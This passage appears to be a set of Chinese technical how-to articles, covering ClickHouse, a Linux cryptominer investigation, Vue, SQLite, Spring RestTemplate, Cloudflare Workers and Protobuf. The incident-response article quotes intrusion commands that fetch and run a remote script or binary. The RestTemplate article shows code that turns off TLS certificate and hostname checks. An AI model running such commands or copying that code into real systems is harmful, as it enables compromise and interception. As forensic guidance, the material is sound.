systemctl restart clickhouse-server启动时会跳过被标记删除的 parts。 第二步:从根源关掉不需要的日志 清了以后不管,几周后又长回来。要真省心就编辑 config,把不用的日志表直接关掉。 编辑: sudo nano /etc/clickhouse-server/config.d/logs.xml内容: <clickhouse> <!-- 关掉巨吃磁盘的三个 --> <text_log remove="1"/> <trace_log remove="1"/> <asynchronous_metric_log remove="1"/> <metric_log remove="1"/> <part_log remove="1"/> <processors_profile_log remove="1"/> <!-- query_log 保留,但缩短 TTL --> <query_log> <database>system</database> <table>query_log</table> <partition_by>toYYYYMM(event_date)</partition_by> <ttl>event_date + INTERVAL 7 DAY DELETE</ttl> <flush_interval_milliseconds>7500</flush_interval_milliseconds> </query_log> </clickhouse>remove="1" 直接不启用这类表 <ttl> 让 ClickHouse 自动过期删除老数据重启生效: sudo systemctl restart clickhouse-server为什么这些表会爆 asynchronous_metric_log 每秒都在采几百个指标,一天几千万行是正常的。trace_log 记录每个 query 的 profile 事件,非常细。这些表默认全开,对于开发/测试很有用,对生产就是纯磁盘杀手。 生产环境的经验:保留:query_log(+ 7 天 TTL) 可选保留:query_thread_log 排查慢查询用 关掉:text_log、trace_log、asynchronous_metric_log、metric_log、part_log、processors_profile_log如果需要采指标,用 Prometheus 拉 /metrics 接口,别依赖 ClickHouse 内部 metric_log。 顺手加个磁盘水位报警 SELECT name, formatReadableSize(free_space) AS free, formatReadableSize(total_space) AS total, round(free_space / total_space * 100, 1) AS free_percent FROM system.disks;低于 20% 该发告警了。 一句话总结 ClickHouse 磁盘被吃是 system.*_log 表的锅。先 TRUNCATE 清空、再 config 里 remove="1" 关掉大部分、给 query_log 加个 TTL。生产上从第一天就该这么配。
Linux 查找可疑进程来源:恶意挖矿木马排查
发现可疑进程 /root/.config/sys-update-daemon 时,正常系统进程不会放在用户家目录下,这类路径通常是挖矿木马或后门程序的伪装。 第一步:确认文件创建时间 stat /root/.config/sys-update-daemon重点关注:Modify:文件最后修改时间 Change:inode 变化时间 Birth:创建时间(支持 ext4)通过创建时间可以缩小入侵时间窗口。 第二步:查看进程树 pstree -asp <PID>或: ps -ef --forest | grep sys-update确认是什么进程启动了它(bash、cron、systemd、SSH session)。 第三步:检查 systemd 持久化 恶意程序最常见的持久化方式: # ���看可疑服务 systemctl list-units --type=service | grep -i update# 搜索 systemd 配置文件 grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null如果找到 ExecStart=/root/.config/sys-update-daemon,说明已持久化。 第四步:检查 cron 任务 crontab -l grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null第五步:查看 Shell 历史(关键) history | grep -E "wget|curl|chmod|sys-update" cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"常见入侵模式: curl http://x.x.x.x/1.sh | bash wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon如果 history 被清空,查历史文件大小是否异常: ls -l ~/.bash_history wc -l ~/.bash_history第六步:查看 SSH 登录记录 last -a # 最近登录历史,带 IP lastlog # 每个账户最后登录重点看陌生 IP 地址。如果服务器 22 端口暴露公网,极可能被 SSH 爆破入侵。 第七步:查看网络连接 ss -antp | grep <PID> lsof -i -P -n | grep sys-update挖矿木马常见连接端口:3333、4444、5555、7777、14444(矿池端口)。 第八步:静态分析二进制 sha256sum /root/.config/sys-update-daemon strings /root/.config/sys-update-daemon | less搜索关键字: strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"出现 xmrig、stratum+tcp://、矿池域名基本确认是挖矿木马。 第九步:查最近被修改的文件 推断同时落地的其他恶意文件: # 最近 1 天内修改的文件 find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null# 按具体时间查(替换时间为创建时间) find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null隔离和清理 # 先杀进程 kill -9 <PID># 移除执行权限 chmod -x /root/.config/sys-update-daemon# 检查是否自动重启(有守护进程) ps -ef | grep sys-update如果持续重启,说明还有守护脚本: systemctl stop <service-name> systemctl disable <service-name> rm /etc/systemd/system/<service-name>.service常见入侵向量原因 排查命令SSH 弱密码/爆破 `last -aRedis 未授权 redis-cli config get requirepassDocker API 暴露 `ss -antp宝塔弱口令 查 Panel 访问日志Java/Jenkins/Log4j 漏洞 查应用访问日志异常请求公网暴露的服务器,SSH 默认端口 + 弱密码几乎一定会被爆破。建议:禁止密码登录,只允许 SSH 密钥认证。
Vue 3 触发更新:key 强制重渲、triggerRef、nextTick 与解构丢失响应式
Vue 3 响应式自动更新 Vue 3 中 ref 和 reactive 的数据修改会自动触发组件重新渲染,无需手动操作: const count = ref(0); count.value++; // 自动触发更新const state = reactive({ name: 'hello' }); state.name = 'world'; // 自动触发更新强制重建组件:修改 :key 当需要完全销毁并重新创建一个组件(而不只是更新数据)时,修改 :key 是最推荐的方式: <template> <MyComponent :key="refreshKey" :data="data" /> <button @click="refreshKey++">强制刷新</button> </template><script setup> import { ref } from 'vue'; const refreshKey = ref(0); </script>:key 变化会让 Vue 销毁旧组件实例并创建新的,适合需要重置内部状态的场景。 shallowRef 深层修改:triggerRef shallowRef 只追踪引用本身的变化,不追踪对象内部属性: import { shallowRef, triggerRef } from 'vue';const data = shallowRef({ list: [] });data.value.list.push(1); // 不触发更新! triggerRef(data); // 手动通知 Vue 重新渲染非必要不用 shallowRef,直接用 ref 更简单。 nextTick:等待 DOM 更新完成 数据变更后,DOM 不会立即同步更新(Vue 批量异步更新),需要 nextTick 等待: import { ref, nextTick } from 'vue';const visible = ref(false); visible.value = true;await nextTick(); // 此时 DOM 已更新,可以安全操作 DOM 元素 const el = document.querySelector('.new-element');常见陷阱:解构 reactive 丢失响应式 const state = reactive({ count: 1, name: 'hello' });// 错误:解构后 count 是普通变量,不是响应式 const { count } = state; count; // 修改不会触发更新// 正确:用 toRefs 保留响应式 import { toRefs } from 'vue'; const { count, name } = toRefs(state); count.value++; // 正确触发更新ref 不存在这个问题,因为 ref 返回的是包装对象,count.value 始终访问同一个响应式引用。 Vue 2 迁移注意 Vue 2 中直接对数组索引赋值、添加新属性不响应,需要 $set: // Vue 2 this.$set(this.arr, 0, newValue); this.$set(this.obj, 'newKey', 1);Vue 3 用 Proxy 实现响应式,这两种写法都能正确追踪,不需要 $set。 $forceUpdate(不推荐) import { getCurrentInstance } from 'vue'; const instance = getCurrentInstance(); instance.proxy.$forceUpdate();$forceUpdate 只强制当前组件实例重渲染,不更新子组件,且不解决数据不响应的根本问题。遇到更新问题应优先排查响应式数据的使用方式,而不是调用 $forceUpdate。
SQLite 大数据量优化:WAL 模式、批量事务、游标分页和索引策略
SQLite 单数据库文件理论上限约 281TB,实际几十 GB 均可正常运行,性能瓶颈通常来自配置和使用方式,而非 SQLite 本身。 必开:WAL 模式 PRAGMA journal_mode=WAL;默认的 DELETE journal 模式写入时会锁全库,WAL 模式允许读写并发,大幅提升写入性能。需要在每次连接时设置(或写入配置持久化)。 减少同步次数 -- 兼顾安全和性能(推荐) PRAGMA synchronous=NORMAL;-- 最高性能(断电可能丢最近几秒数据,非关键数据可用) PRAGMA synchronous=OFF;批量事务(最重要的优化) 单条 INSERT 性能极差,每次写入都会触发一次磁盘同步: // 错误写法:每条 INSERT 是独立事务 for (const item of items) { db.run("INSERT INTO logs VALUES (?)", item); }改为批量事务,性能提升 100-1000 倍: BEGIN; INSERT INTO logs VALUES (1, 'event_a', 1716800000); INSERT INTO logs VALUES (2, 'event_b', 1716800001); -- ... 批量写入 COMMIT;Node.js(better-sqlite3)示例: const insertMany = db.transaction((items) => { const stmt = db.prepare("INSERT INTO logs (id, type, ts) VALUES (?, ?, ?)"); for (const item of items) { stmt.run(item.id, item.type, item.ts); } });insertMany(items); // 一次事务写入全部Python(sqlite3)示例: conn.execute("BEGIN") conn.executemany("INSERT INTO logs VALUES (?, ?, ?)", items) conn.execute("COMMIT")建议每批 500-5000 条,批次过大会增加内存压力。 游标分页(替代 OFFSET) OFFSET 越大越慢,因为需要扫描并跳过前面所有行: -- 慢:OFFSET 100万,需要扫描 100万行 SELECT * FROM logs LIMIT 20 OFFSET 1000000;改用游标分页(Keyset Pagination): -- 快:直接从上次最后一条的 id 开始 SELECT * FROM logs WHERE id > ? LIMIT 20;记录上次最后一条的 id 作为下次查询的起始点,无论翻到多后面性能都一致。 索引策略 查看查询执行计划,确认是否走索引: EXPLAIN QUERY PLAN SELECT * FROM logs WHERE user_id = 123 AND created_at > 1716800000;原则:高频 WHERE 条件字段建索引 复合查询建复合索引(字段顺序与查询条件一致) 低选择度字段(如布尔值)单独建索引意义不大 写入密集型表控制索引数量,每个索引都会拖慢写入其他配置 -- 增大缓存(默认 -2000 即 2MB,建议改大) PRAGMA cache_size=-32000; -- 32MB-- 内存临时表(减少磁盘 I/O) PRAGMA temp_store=MEMORY;-- 预写 WAL 检查点 PRAGMA wal_autocheckpoint=1000;大字段(图片、视频、大 JSON、二进制 Blob)建议存文件系统,数据库只存文件路径,避免单数据库文件膨胀过快。
SQLite 存几十 GB 数据的六个优化点
有个错觉——SQLite 只适合小项目。其实很多人低估了它。理论上 SQLite 单库能到 281 TB,实际几十 GB、一亿行都能稳定跑。前提是这几个优化必须做。 先给个使用边界数据量 SQLite 适不适合< 10 GB 完全没问题,甚至比 Postgres 简单10 GB ~ 100 GB 可以,需要认真优化> 100 GB 谨慎,考虑分片 / 换数据库高并发写入 不推荐,SQLite 写是全库锁(WAL 缓解但仍单写)多机共享文件 别玩,NFS 上的 SQLite 特别容易坏适合 SQLite 的典型场景:本地缓存、日志、爬虫存档、IoT 边缘节点、桌面/Electron 应用、单机分析、中小型业务。 1. WAL 模式(必开) PRAGMA journal_mode = WAL;作用:读和写可以并发(默认 journal 会锁全库) 崩溃恢复快 大量写入性能大幅提升一次性开完之后写进库设置,不用每次连接都设。 2. 调 synchronous PRAGMA synchronous = NORMAL; -- 折中,推荐 -- PRAGMA synchronous = OFF; -- 极限性能,接受掉电丢数据FULL(默认)= 每次事务 fsync 磁盘、NORMAL = 检查点时 fsync、OFF = 完全信操作系统。日志/缓存场景 NORMAL 完全够用,性能差好几倍。 3. 批量事务(提升最猛的一条) 单条 insert: for (const row of rows) { db.prepare("INSERT INTO logs VALUES (?, ?)").run(row.a, row.b); }一亿行你等到明年。改成批量: const insert = db.prepare("INSERT INTO logs VALUES (?, ?)"); const many = db.transaction((rows) => { for (const row of rows) insert.run(row.a, row.b); }); many(rows);性能能差 100 ~ 1000 倍。SQLite 每个事务外面套一次 fsync,逐条 insert 就是每行都 fsync。 4. 索引不要滥建 EXPLAIN QUERY PLAN SELECT * FROM logs WHERE user_id = ? AND ts > ?;索引越多,写入越慢(每行 insert 都要维护索引) 只给高频过滤字段建索引 复合索引按 WHERE 里最常见的过滤顺序建:(user_id, ts) 大文本 / JSON 字段别建普通索引,需要就用 FTS55. 分页别用 OFFSET -- 慢,越翻越慢:OFFSET 需要跳过前 N 行 SELECT * FROM logs ORDER BY id LIMIT 20 OFFSET 1000000;-- 快,游标分页:直接从上一页最后一个 id 之后取 SELECT * FROM logs WHERE id > ? ORDER BY id LIMIT 20;学名叫 Keyset Pagination,任何大表分页都该用。 6. 大字段不要塞 blob 图片、视频、大 JSON 直接扔 SQLite 会拖慢一切——包括那些跟大字段无关的查询。 正确做法:文件系统 / 对象存储放实体 SQLite 只存路径 / 元数据或者用 SQLite 官方推荐 的经验值:< 100 KB 存库里更快,> 100 KB 存文件系统更快。 7. 加上几个 PRAGMA PRAGMA cache_size = -100000; -- 100 MB 缓存(负数表示 KB) PRAGMA temp_store = MEMORY; -- 临时表放内存 PRAGMA mmap_size = 268435456; -- 256 MB mmap,减少 syscall PRAGMA busy_timeout = 5000; -- 遇到锁等 5 秒再报错一句话总结 WAL + 批量事务 + Keyset 分页——这三条打下来,几十 GB 的 SQLite 一点都不难。别忘了大字段挪出去、别乱建索引。
JS 安全随机整数:Math.random() 还是 crypto.getRandomValues()
Math.random() 的问题 const randomInt = (num, offset) => Math.floor(Math.random() * num) + offset;Math.random() 生成的是伪随机数,不适合安全场景:某些 JS 引擎实现可预测 不能用于:token、验证码、session ID、抽奖、游戏反作弊用于 UI 动画、随机颜色、普通业务逻辑完全没问题,够快够简单。 安全随机整数 浏览器 export const randomInt = (min, max) => { const range = max - min + 1; const bytes = new Uint32Array(1); crypto.getRandomValues(bytes); return min + (bytes[0] % range); };有轻微的 modulo bias(取模偏差)——当 range 不能整除 0xFFFFFFFF 时,某些值出现概率略高。对大多数业务足够,抽奖/密码学场景用下面的拒绝采样版: export const randomInt = (min, max) => { const range = max - min + 1; if (range <= 0 || range > 0xFFFFFFFF) throw new Error("invalid range"); const maxUint = 0xFFFFFFFF; const limit = maxUint - (maxUint % range); // 去掉尾部偏差区间 const bytes = new Uint32Array(1); let rand; do { crypto.getRandomValues(bytes); rand = bytes[0]; } while (rand >= limit); // 拒绝偏差区间内的值 return min + (rand % range); };平均循环次数 < 2,性能影响可以忽略。 Node.js import crypto from "crypto";export const randomInt = (min, max) => { return crypto.randomInt(min, max + 1); // 内部已处理 modulo bias };Node.js 的 crypto.randomInt 直接用就行,自动处理了偏差问题。 API 设计建议 原来的写法 randomInt(num, offset) 语义模糊——不清楚 num 是最大值还是范围长度: // ❌ 不直观 randomInt(10, 5) // 5~14?还是 0~5 + 10 的偏移?改成 (min, max) 更清晰: // ✅ 直观 randomInt(5, 14) // [5, 14] 范围内均匀取整场景选择场景 推荐UI 动画、随机颜色 Math.random()随机数组元素、占位数据 Math.random()验证码、token crypto.getRandomValues()抽奖、游戏随机 crypto.getRandomValues() + 拒绝采样Node.js 服务端 crypto.randomInt()性能上 Math.random() 比 crypto.getRandomValues() 快一个数量级,安全要求不高时不必引入加密随机数的开销。
电商 ERP 商品 JSON 解析:类目 ID、规格模板与 SKU 明细
电商 ERP 接口返回的商品 JSON 通常有几个容易混淆的字段。 类目字段 "categoryId": 1000016, "leafCategoryId": 51000671, "categoryIds": ["1000016", "51000671"]categoryId:主类目(一级) leafCategoryId:叶子类目,即商品实际发布的最末级类目 categoryIds:完整类目路径数组实际使用的是 leafCategoryId,而不是 categoryId。 如果接口返回的 leafCategoryName 为 null,需要单独查询类目名称: SELECT * FROM category WHERE id = 51000671或调用类目接口: GET /category/get?id=51000671specifications 与 skuList 的区别 这是最常混淆的地方:字段 含义 用途specifications 规格定义模板 描述有哪些规格维度和可选值skuList 实际销售 SKU 每个 SKU 的具体价格、库存、规格组合specifications 示例 "specifications": [ { "name": "颜色", "values": [{"value": "米白色"}] }, { "name": "尺码", "values": [ {"value": "M", "note": "建议80-100斤内"}, {"value": "L", "note": "建议100-115斤内"}, {"value": "XL"}, {"value": "2XL"}, {"value": "3XL"}, {"value": "4XL"} ] } ]这是模板,说明商品有"颜色"和"尺码"两个规格维度,以及每个维度的可选值。 skuList 示例 "skuList": [ { "skuOuterId": "12644-米白色-M", "specValue": "米白色;M", "salesPrice": 59.8, "stock": 5000, "_skuid": "v_1776944461271_970-v_M_1776944482303_3644" } ]每个 SKU 对应一个规格组合,有独立的价格和库存。 skuOuterId 与 specValueskuOuterId:商家自定义编码,格式通常是 商品编号-颜色-尺码 specValue:用分号拼接的规格值,如 米白色;M _skuid:系统内部键,由各规格的 valueKey 拼接,用于唯一标识规格组合遍历所有 SKU 的写法 for (const item of products) { for (const sku of item.skuList || []) { console.log({ title: item.title, sku: sku.skuOuterId, spec: sku.specValue, price: sku.salesPrice, stock: sku.stock }); } }for item in products: for sku in item.get("skuList", []): print( item["title"], sku["skuOuterId"], sku["specValue"], sku["salesPrice"], sku["stock"] )核心字段速查字段 含义leafCategoryId 真正的叶子类目 IDspecifications 规格维度定义(模板)skuList 实际销售 SKU 列表specValue SKU 规格值拼接字符串skuOuterId 商家 SKU 编码stock 该 SKU 库存salesPrice 销售价marketPrice 划线价(原价展示)
Spring RestTemplate 发 HTTP 请求:常用姿势速查
Spring 里发 HTTP 请求最常见还是 RestTemplate。虽然官方已经推 WebClient,但存量项目里 RestTemplate 到处都是——写起来简单、同步阻塞、跟传统 Servlet 模型贴合。 注册 Bean @Configuration public class RestConfig { @Bean public RestTemplate restTemplate() { return new RestTemplate(); } }注入用: @Autowired private RestTemplate restTemplate;或者构造器注入(推荐): private final RestTemplate rt; public UserService(RestTemplate rt) { this.rt = rt; }GET 最简单: String json = restTemplate.getForObject( "https://api.example.com/users/1", String.class);带 URL 参数(占位符按顺序填): String url = "https://api.example.com/users/{id}?type={type}"; String json = restTemplate.getForObject(url, String.class, 1, "vip");返回对象: @Data public class User { private Integer id; private String name; }User u = restTemplate.getForObject( "https://api.example.com/users/1", User.class);Jackson 会自动反序列化——User 里字段名和 JSON 对得上就行。 POST 发 JSON: Map<String, Object> body = new HashMap<>(); body.put("username", "admin"); body.put("password", "12345");String result = restTemplate.postForObject( "https://api.example.com/login", body, String.class);RestTemplate 会把 Map 序列化成 JSON 并设 Content-Type: application/json(前提是有 Jackson)。 表单: MultiValueMap<String, String> form = new LinkedMultiValueMap<>(); form.add("username", "admin"); form.add("password", "12345");HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);HttpEntity<MultiValueMap<String, String>> req = new HttpEntity<>(form, headers); String result = restTemplate.postForObject(url, req, String.class);自定义 Header 带 Token 的接口: HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.APPLICATION_JSON); headers.set("Authorization", "Bearer " + token);Map<String, Object> body = new HashMap<>(); body.put("name", "test");HttpEntity<Map<String, Object>> entity = new HttpEntity<>(body, headers);ResponseEntity<String> resp = restTemplate.exchange( "https://api.example.com/create", HttpMethod.POST, entity, String.class);if (resp.getStatusCode().is2xxSuccessful()) { System.out.println(resp.getBody()); }exchange 是最灵活的方法——可以自由选择 HTTP method、传 headers、拿完整的 ResponseEntity。 超时配置(生产必配) 默认没有超时。远端 hang 住就一直等: @Bean public RestTemplate restTemplate() { SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory(); factory.setConnectTimeout(5_000); // 连接超时 factory.setReadTimeout(10_000); // 读超时 return new RestTemplate(factory); }更强大的选择:Apache HttpClient 5: @Bean public RestTemplate restTemplate() { RequestConfig config = RequestConfig.custom() .setConnectTimeout(Timeout.ofSeconds(5)) .setResponseTimeout(Timeout.ofSeconds(10)) .build(); CloseableHttpClient http = HttpClients.custom() .setDefaultRequestConfig(config) .setMaxConnTotal(100) .setMaxConnPerRoute(20) .build(); HttpComponentsClientHttpRequestFactory factory = new HttpComponentsClientHttpRequestFactory(http); return new RestTemplate(factory); }带连接池、更好的性能、支持重试。 上传文件 FileSystemResource file = new FileSystemResource("/path/to/a.zip");MultiValueMap<String, Object> body = new LinkedMultiValueMap<>(); body.add("file", file); body.add("desc", "备份");HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.MULTIPART_FORM_DATA);HttpEntity<MultiValueMap<String, Object>> req = new HttpEntity<>(body, headers);String result = restTemplate.postForObject( "https://api.example.com/upload", req, String.class);忽略 SSL 自签证书内网服务: SSLContext ssl = SSLContexts.custom() .loadTrustMaterial((chain, authType) -> true) .build();CloseableHttpClient http = HttpClients.custom() .setConnectionManager( PoolingHttpClientConnectionManagerBuilder.create() .setSSLSocketFactory( SSLConnectionSocketFactoryBuilder.create() .setSslContext(ssl) .setHostnameVerifier(NoopHostnameVerifier.INSTANCE) .build()) .build()) .build();生产上少这么干,会漏中间人。 Spring Boot 3 之后怎么办 Spring Framework 6 起 RestTemplate 进入维护模式——不再加新功能,但不会立刻删。新项目推荐:RestClient(Spring 6.1+)— 同步、fluent API,最平滑的替代 WebClient — 响应式(reactive),跟 Reactor 生态整合RestClient 示例: RestClient client = RestClient.create();User u = client.get() .uri("https://api.example.com/users/{id}", 1) .retrieve() .body(User.class);比 RestTemplate 好看得多。老项目不用急着换,新代码优先用 RestClient。 一句话总结 RestTemplate:GET 用 getForObject、POST 用 postForObject 或 exchange、复杂场景走 exchange 拿 ResponseEntity。生产必配超时和连接池。新项目改用 RestClient。
Spring RestTemplate 发起 HTTP 请求:GET、POST、自定义 Header 与超时配置
配置 Bean @Configuration public class RestConfig { @Bean public RestTemplate restTemplate() { SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory(); factory.setConnectTimeout(5000); factory.setReadTimeout(10000); return new RestTemplate(factory); } }然后在 Service/Controller 中注入: @Autowired private RestTemplate restTemplate;GET 请求 简单 GET: String result = restTemplate.getForObject( "https://api.example.com/users/1", String.class );带路径参数: String result = restTemplate.getForObject( "https://api.example.com/users/{id}", String.class, 1 );返回实体类(需要 Jackson): @Data public class User { private Integer id; private String name; }User user = restTemplate.getForObject( "https://api.example.com/users/1", User.class );POST 请求 发送 JSON: Map<String, Object> body = new HashMap<>(); body.put("username", "admin"); body.put("password", "secret");String result = restTemplate.postForObject( "https://api.example.com/login", body, String.class );自定义 Header(带 Token) HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.APPLICATION_JSON); headers.set("Authorization", "Bearer your-token");Map<String, Object> body = new HashMap<>(); body.put("name", "test");HttpEntity<Map<String, Object>> entity = new HttpEntity<>(body, headers);ResponseEntity<String> response = restTemplate.exchange( "https://api.example.com/data", HttpMethod.POST, entity, String.class );String responseBody = response.getBody(); int statusCode = response.getStatusCode().value();GET 请求带 Header HttpHeaders headers = new HttpHeaders(); headers.set("Authorization", "Bearer your-token");HttpEntity<Void> entity = new HttpEntity<>(headers);ResponseEntity<String> response = restTemplate.exchange( "https://api.example.com/profile", HttpMethod.GET, entity, String.class );处理异常 try { String result = restTemplate.getForObject(url, String.class); } catch (HttpClientErrorException e) { // 4xx 错误 System.out.println("HTTP " + e.getStatusCode() + ": " + e.getResponseBodyAsString()); } catch (HttpServerErrorException e) { // 5xx 错误 System.out.println("Server error: " + e.getMessage()); } catch (ResourceAccessException e) { // 连接超时、网络错误 System.out.println("Connection error: " + e.getMessage()); }Spring Boot 3 注意 RestTemplate 已进入维护模式,Spring Boot 3 推荐使用 WebClient(响应式)或 Spring 6.1 引入的 RestClient(同步): // RestClient(Spring 6.1+) RestClient client = RestClient.create(); String result = client.get() .uri("https://api.example.com/users/1") .retrieve() .body(String.class);老项目继续使用 RestTemplate 完全没问题,新项目可以考虑迁移到 RestClient。
用 Cloudflare Worker 做多域名反代 + Error 1003 的解法
一台 VPS 上跑了七八个服务,每个都占一个端口。想用一个域名的多个子域直接映射过去,还不想暴露 IP。上 Nginx 有点重——一个 Cloudflare Worker 就够了。 Worker 代码 思路:读请求的 Host,从 map 里查目标 IP:端口,重新 fetch 转发过去。 export default { async fetch(request) { const host = request.headers.get("host"); const map = { "app.example.com": "http://origin.example.com:51118", "api.example.com": "http://origin.example.com:51117", "admin.example.com":"http://origin.example.com:51116", "shop.example.com": "http://origin.example.com:51115", }; const target = map[host]; if (!target) return new Response("Host not found", { status: 404 }); const url = new URL(request.url); const proxyUrl = target + url.pathname + url.search; const proxied = new Request(proxyUrl, { method: request.method, headers: request.headers, body: (request.method === "GET" || request.method === "HEAD") ? undefined : request.body, redirect: "manual", }); // 把 Host 改成目标域,避免源站按 Host 路由时错乱 proxied.headers.set("host", new URL(target).host); return fetch(proxied); }, };部署路径Cloudflare Dashboard → Workers & Pages → Create Worker 粘代码,Deploy Worker 详情 → Settings → Triggers → Routes 添加路由:app.example.com/*、api.example.com/* 等 对应的 DNS 记录必须 开小黄云(Proxied),否则 Worker 拦不到动态版本(不用维护 map) 如果子域名和端口有规律(比如 app → 51118、api → 51117),可以从子域直接算端口: const portMap = { app: 51118, api: 51117, admin: 51116, shop: 51115 };const sub = host.split(".")[0]; const port = portMap[sub]; if (!port) return new Response("Not found", { status: 404 });const target = `http://origin.example.com:${port}`;以后加子域只改 map 一处。 Error 1003:direct IP access not allowed 第一次绑域名很容易撞到: error code: 1003含义是"直接用 IP 访问 Cloudflare 不允许"。多半是因为你把域名 CNAME 到了 xxx.workers.dev,Cloudflare 就把这当成"客户端在裸 IP 访问"。 正解:不要 CNAME 到 workers.dev,走 Worker 路由。 DNS 那边:加一条 A 记录,IP 随便填(比如 192.0.2.1),一定要开小黄云:类型 名称 内容 代理A app 192.0.2.1 ProxiedA api 192.0.2.1 ProxiedWorker 那边:Settings → Triggers → Routes,加上 app.example.com/* 等。 之后请求走的是 Worker,A 记录里那个 IP 只是 Cloudflare 需要一条 DNS 记录而已,不会真的连过去。 需要 WebSocket / SSE Workers 支持 WebSocket 升级,fetch 里带上 Upgrade 头就能透传: if (request.headers.get("Upgrade") === "websocket") { return fetch(target, request); }SSE (text/event-stream) 靠 Response.body 流式返回就行,Worker 会自动保持长连接。 顺带的好处源站真实 IP 不会暴露给客户端 免费额度撑得住中小站(10 万请求/天) 加 WAF、限流、缓存全在 Cloudflare 控制台一键切换一句话总结 一个 Worker + 一张 host→port 表 = 多域名反代。踩到 Error 1003 别慌,DNS 走 A 记录 + 小黄云 + Worker Route,不要 CNAME 到 workers.dev。
Windows 唤醒屏幕:SendMessage SC_MONITORPOWER 与 SendInput 模拟鼠标
Windows 提供了两种方式唤醒熄屏的显示器:发送系统消息或模拟鼠标输入。 PowerShell 一行命令 powershell -command "(Add-Type '[DllImport(\"user32.dll\")]^public static extern int SendMessage(int hWnd,int hMsg,int wParam,int lParam);' -Name a -Pas)::SendMessage(-1,0x0112,0xF170,-1)"0x0112 是 WM_SYSCOMMAND,0xF170 是 SC_MONITORPOWER,最后参数 -1 表示打开显示器(2 关闭,1 低功耗)。 C++ SendMessage #include <windows.h>int main() { SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, -1); return 0; }SC_MONITORPOWER 的第四个参数含义:-1 = 打开显示器 1 = 低功耗 2 = 关闭显示器更可靠:模拟鼠标移动(推荐) 部分机器上 SC_MONITORPOWER 不一定生效,模拟极小鼠标移动更稳定: #include <windows.h>int main() { INPUT input = {0}; input.type = INPUT_MOUSE; input.mi.dx = 1; input.mi.dy = 1; input.mi.dwFlags = MOUSEEVENTF_MOVE; SendInput(1, &input, sizeof(INPUT)); return 0; }等效于"假装用户动了一下鼠标",几乎在所有机器上都能触发屏幕唤醒。 PowerShell 版本 Add-Type @" using System; using System.Runtime.InteropServices;public class WinAPI { [DllImport("user32.dll")] public static extern void mouse_event( int dwFlags, int dx, int dy, int dwData, int dwExtraInfo); } "@[WinAPI]::mouse_event(1, 0, 1, 0, 0)Session 0 限制 如果代码在 Windows 服务里运行,以上方法大概率无效,因为服务运行在 Session 0,无法操作用户桌面。常见解决方案:改用计划任务(交互式模式运行) 注入用户 Session 进程 使用 WTSSendMessage 跨 Session 通信这是服务程序操控 GUI 时的常见踩坑点。
Proto3 基础:message / enum / repeated 和订阅协议模式
行情推送、IM、游戏后端这类双向长连接服务,常见的做法是走 TCP/WebSocket + Protobuf 编码。Proto3 定义消息的基础语法不多,但组合起来能表达很复杂的协议。按一个典型的"订阅推送"协议模式走一遍。 一个订阅推送协议的骨架 先看一个典型定义(脱敏后的通用示例): syntax = "proto3";package sample.pushv1;// ============ 消息类型枚举 ============ enum MsgID { MSG_UNKNOWN = 0; MSG_HEART_BEAT = 1; MSG_AUTH = 2; MSG_SUBSCRIBE = 10; MSG_UNSUBSCRIBE = 11; MSG_DATA_BROADCAST = 20; MSG_STATUS = 30; MSG_ERROR = 99; }enum SubscribeFlag { SUBSCRIBE = 0; KEEP = 1; // 保持订阅(心跳) UNSUBSCRIBE = 2; }// ============ 主消息体 ============ message Envelope { MsgID msg_id = 1; sint32 seq = 2; // 双工:request 客户端来,response 服务器来 Request request = 4; repeated Response response = 5; // 备用 JSON 通道(调试用) string json_req = 8; string json_resp = 9; string err_msg = 17; }message Request { repeated string codes = 1; SubscribeFlag flag = 2; Auth auth = 3; }message Response { repeated DataField data = 1; sint32 err_code = 2; string msg = 3; }message Auth { string apptype = 1; bytes token = 2; }message DataField { string code = 1; fixed64 ts = 2; double value = 3; }看着长,本质就四件事:枚举定消息类型 → 主 envelope 包一层 → Request / Response 承载数据 → 心跳保活。 核心语法 message 数据结构声明,类似 struct: message User { int32 id = 1; string name = 2; bytes data = 3; }每个字段有唯一 tag(= 1, = 2 ...),wire format 上按 tag 编码,改字段名不影响兼容。 enum enum Color { COLOR_UNKNOWN = 0; // proto3 里第一个必须是 0 RED = 1; GREEN = 2; BLUE = 3; }Proto3 强制第一项 = 0(作为默认值)。 repeated 数组 / 列表: message Order { repeated string items = 1; repeated User buyers = 2; }对应各语言里的 List<T> / []T。 常用标量Proto3 类型 说明 对应 Java Goint32 变长整数(负数编码差) int int32sint32 变长整数(负数省字节) int int32uint32 无符号变长整数 int uint32fixed32 固定 4 字节(大数字省) int uint32sfixed32 有符号固定 4 字节 int int32float 4 字节浮点 float float32double 8 字节浮点 double float64boolboolean boolstring UTF-8 字符串 String stringbytes 二进制 ByteString []bytetimestamp 别用 int32——2038 年就爆。用 int64 或 google.protobuf.Timestamp。 oneof(互斥字段) message Notification { string title = 1; oneof body { TextBody text = 2; ImageBody image = 3; VideoBody video = 4; } }三选一,永远只有一个字段被设置。适合"消息内容多种类型"这种场景。 map map<string, int32> counts = 1;底层其实是 repeated Entry,但语法糖后用起来就是 map。 订阅推送协议的常用模式 1. 一个大 Envelope 包一层 避免为每种消息设 endpoint,客户端 / 服务端都只处理一种 message,靠 msg_id 分发: switch (envelope.getMsgId()) { case MSG_HEART_BEAT: handleHeartbeat(envelope); break; case MSG_SUBSCRIBE: handleSubscribe(envelope.getRequest()); break; case MSG_DATA_BROADCAST: handleData(envelope.getResponse()); break; }好处:加新消息只加个 enum 值 + 新 case,不用改协议框架。 2. Request / Response 分离 一个 envelope 同时能塞 request(客户端来)和 response(服务器来)。虽然一次只填一边,但复用同一个消息类型简化编解码。 3. 心跳保活 TCP 